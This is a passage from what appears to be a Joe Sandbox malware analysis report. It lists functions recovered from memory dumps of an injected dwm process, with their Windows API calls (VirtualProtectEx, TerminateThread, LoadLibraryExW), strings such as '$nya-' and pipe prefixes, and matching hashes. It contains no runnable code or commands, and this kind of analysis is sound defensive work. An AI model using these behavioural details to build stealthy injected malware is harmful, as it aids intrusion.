LoadLibraryExW.KERNEL32(?,?,?,000002BAAEE09C6B,?,?,?,000002BAAEE0945C,?,?,?,?,000002BAAEE08F65), ref: 000002BAAEE09B69
FreeLibrary.KERNEL32(?,?,?,000002BAAEE09C6B,?,?,?,000002BAAEE0945C,?,?,?,?,000002BAAEE08F65), ref: 000002BAAEE09BD7
GetProcAddress.KERNEL32(?,?,?,000002BAAEE09C6B,?,?,?,000002BAAEE0945C,?,?,?,?,000002BAAEE08F65), ref: 000002BAAEE09BE3

Strings

api-ms-, xrefs: 000002BAAEE09B51

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 9d42ed71ee45f3b4d5c1312fa78594dba90501ccc8d2a55312c04eb523f1c0fc
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: F331A321352A40A1EEB1DF4698087A533B4B794BB0F690625DD9D4BB94EF39CC44C726

Function 000002BAAEDA3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAEDA3431
GetLastError.KERNEL32 ref: 000002BAAEDA343D
CloseHandle.KERNEL32 ref: 000002BAAEDA3455
CreateFileW.KERNEL32 ref: 000002BAAEDA3480
WriteConsoleW.KERNEL32 ref: 000002BAAEDA349F

Strings

CONOUT$, xrefs: 000002BAAEDA3461

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: e1abb664a91a57423b12d2f494e3f1e41a9cdc7a412b6d31af6d9dae86cd6057
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 4911BF31310B8086E7509B52E85871D77B1F388FE4F604624EA9E87BD4DF78CA24C755

Function 000002BAAEE13400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAEE13431
GetLastError.KERNEL32 ref: 000002BAAEE1343D
CloseHandle.KERNEL32 ref: 000002BAAEE13455
CreateFileW.KERNEL32 ref: 000002BAAEE13480
WriteConsoleW.KERNEL32 ref: 000002BAAEE1349F

Strings

CONOUT$, xrefs: 000002BAAEE13461

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: a919c63cfe1eb2905e8ec9dc5028b144f8b95960abdd6eb95fa4e46fe3bcec8f
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: B7119D31310B4096E7609B92E85871977B0F398BE4FA00224EA9E87FD4DF3CC848C751

Function 000002BAAEE06270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEE062AB
GetThreadContext.KERNEL32 ref: 000002BAAEE06415

Part of subcall function 000002BAAEE060A0: GetCurrentThreadId.KERNEL32 ref: 000002BAAEE060A4

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 649c0a22422b02da4e256086d10b0a5bdd3e1d142a559b51b9722f9d04f35645
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 87D19D76244B8895DAB0DB0AE49835A77B0F3C8B98F200126EACD47FA9DF3DC551CB51

Function 000002BAAED92098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAED920A6
TlsFree.KERNEL32 ref: 000002BAAED9225F
TlsFree.KERNEL32 ref: 000002BAAED9226B
TlsFree.KERNEL32 ref: 000002BAAED92277
TlsFree.KERNEL32 ref: 000002BAAED92283
TlsFree.KERNEL32 ref: 000002BAAED9228F

Part of subcall function 000002BAAED95E50: GetCurrentThreadId.KERNEL32 ref: 000002BAAED95E66

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 5d987100bd7a9682b01af306e397790e2a51e6df67ab5f07f856803d75bedfc2
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: E351A531201B4595FF05EB29EC9829833B1FB44744FA40929A5AD07BA5FF7AC929C372

Function 000002BAAED935C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002BAAED924D1), ref: 000002BAAED935EB
HeapAlloc.KERNEL32(?,?,?,?,?,000002BAAED924D1), ref: 000002BAAED935FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002BAAED924D1), ref: 000002BAAED93673
GetProcessHeap.KERNEL32(?,?,?,?,?,000002BAAED924D1), ref: 000002BAAED936D9
HeapFree.KERNEL32(?,?,?,?,?,000002BAAED924D1), ref: 000002BAAED936E7

Strings

$nya-, xrefs: 000002BAAED9366C

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: 2d31f3d6e6c5a3b540286d699732f80ee8b7a5f3e1ae2d2c891674388e650171
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: E231AE22701B5192EB15DF26E948369B3B1FB84B84F2844248F8C47B55FF39C861C711

Function 000002BAAEE035C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002BAAEE024D1), ref: 000002BAAEE035EB
HeapAlloc.KERNEL32(?,?,?,?,?,000002BAAEE024D1), ref: 000002BAAEE035FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002BAAEE024D1), ref: 000002BAAEE03673
GetProcessHeap.KERNEL32(?,?,?,?,?,000002BAAEE024D1), ref: 000002BAAEE036D9
HeapFree.KERNEL32(?,?,?,?,?,000002BAAEE024D1), ref: 000002BAAEE036E7

Strings

$nya-, xrefs: 000002BAAEE0366C

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: ae2828988b5da7c2c292b1821a15e89ffa856a4605bcba0e02ad8e018266d514
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: BE31AB22701B51A2EAB5DF26F948329B3B0FB54B84F2880208FC907F55EF38C5A5C721

Function 000002BAAED9C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002BAAED9C94F
SetLastError.KERNEL32 ref: 000002BAAED9C96E
FlsSetValue.KERNEL32 ref: 000002BAAED9C997
FlsSetValue.KERNEL32 ref: 000002BAAED9C9A8
FlsSetValue.KERNEL32 ref: 000002BAAED9C9B9

Part of subcall function 000002BAAED9D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002BAAED9674A), ref: 000002BAAED9D2B6
Part of subcall function 000002BAAED9D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002BAAED9674A), ref: 000002BAAED9D2C0

SetLastError.KERNEL32 ref: 000002BAAED9C9DC

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: ed1152b422595425cd4bd64c1d17a41f84522a149bdacc2ff6543c64706649a6
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 2A114F2170124092FA1867316E1D37E3372AB85794F784624A8EE57BC6EF39CD11C322

Function 000002BAAED91A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002BAAED91A56
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAED91A74
PathFindFileNameW.SHLWAPI ref: 000002BAAED91A83
lstrlenW.KERNEL32 ref: 000002BAAED91A8F
StrCpyW.SHLWAPI ref: 000002BAAED91AA2
CloseHandle.KERNEL32 ref: 000002BAAED91AB0

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 723a3a8ccdbd693f352db1ebdb64092767e7ae56dcd19bed17b5c447b8d32557
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 8B016D61700B4086EB10EB22A85835973B1F788FC0FA84434DE9D43B54DF7CCA9AC761

Function 000002BAAEE01A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002BAAEE01A56
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEE01A74
PathFindFileNameW.SHLWAPI ref: 000002BAAEE01A83
lstrlenW.KERNEL32 ref: 000002BAAEE01A8F
StrCpyW.SHLWAPI ref: 000002BAAEE01AA2
CloseHandle.KERNEL32 ref: 000002BAAEE01AB0

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 5e7d2506bc9458f767f75fb30931a2999dc425b9a3afebb7208a4b32c288ee17
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 76012D21704B4096EB64EB52A89835973B1F798FC0FA84035DE9D47B58DF3CC589C761

Function 000002BAAED93E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93E9F
TerminateThread.KERNEL32(?,?,?,?,?,000002BAAED93AAC), ref: 000002BAAED93EAE

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 761de77342e0a94ec601f240c61f51920176bd37b2ed316876ae5e8853eba589
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: AE010CA5611B4082FB24AB25E84C71A73B0BB59B45F240528DACD077A4FF3EC558C766

Function 000002BAAEE03E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03E9F
TerminateThread.KERNEL32(?,?,?,?,?,000002BAAEE03AAC), ref: 000002BAAEE03EAE

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 392d63d54875a93460372a60c02581be9458fcb3ef55fb9cda753c82608c2e14
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: AD012D65311B4092FB74ABA1E84C71573B0BB59B45F240028CACD06B69EF3DC688C722

Function 000002BAAED91AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAED91AF4
StrCmpNIW.SHLWAPI ref: 000002BAAED91B0E
lstrlenW.KERNEL32 ref: 000002BAAED91B1D
StrCpyW.SHLWAPI ref: 000002BAAED91B32

Strings

\\?\, xrefs: 000002BAAED91B02

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 75424da5193fec2bc580ef6704e44c067a8ded6da23e8cd08b40ddfe050d8d1b
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 19F0C26230468492EB20AF20F8C8359B371F784B98FD44025CACD43994EF7DCB99CB21

Function 000002BAAEE01AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAEE01AF4
StrCmpNIW.SHLWAPI ref: 000002BAAEE01B0E
lstrlenW.KERNEL32 ref: 000002BAAEE01B1D
StrCpyW.SHLWAPI ref: 000002BAAEE01B32

Strings

\\?\, xrefs: 000002BAAEE01B02

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 6314c51c4bbb33e11e40deb5b93baf5270c20fed3389cabecbb00c950c42303b
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 53F04F62304685E2EB709B61F5C83597371F754B88F944025DA8947D58EF6CC69CCB21

Function 000002BAAED93708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002BAAED9275A), ref: 000002BAAED9372A
StrCpyW.SHLWAPI ref: 000002BAAED9373A
StrCatW.SHLWAPI ref: 000002BAAED93746
PathCombineW.SHLWAPI(?,?,00000000,000002BAAED9275A), ref: 000002BAAED93754

Strings

\\.\pipe\, xrefs: 000002BAAED93720

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: a4ee5c83b7c3e31b22992ad886de9ab76a7927c02ef48da9e3796cfe319312cb
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: D8F082A4304B8081EE049B53BD18119B370BB88FC1F649430EE8E07B18DF6CC556C712

Function 000002BAAED9B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002BAAED9B929
GetProcAddress.KERNEL32 ref: 000002BAAED9B93F
FreeLibrary.KERNEL32 ref: 000002BAAED9B95B

Strings

mscoree.dll, xrefs: 000002BAAED9B920
CorExitProcess, xrefs: 000002BAAED9B938

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
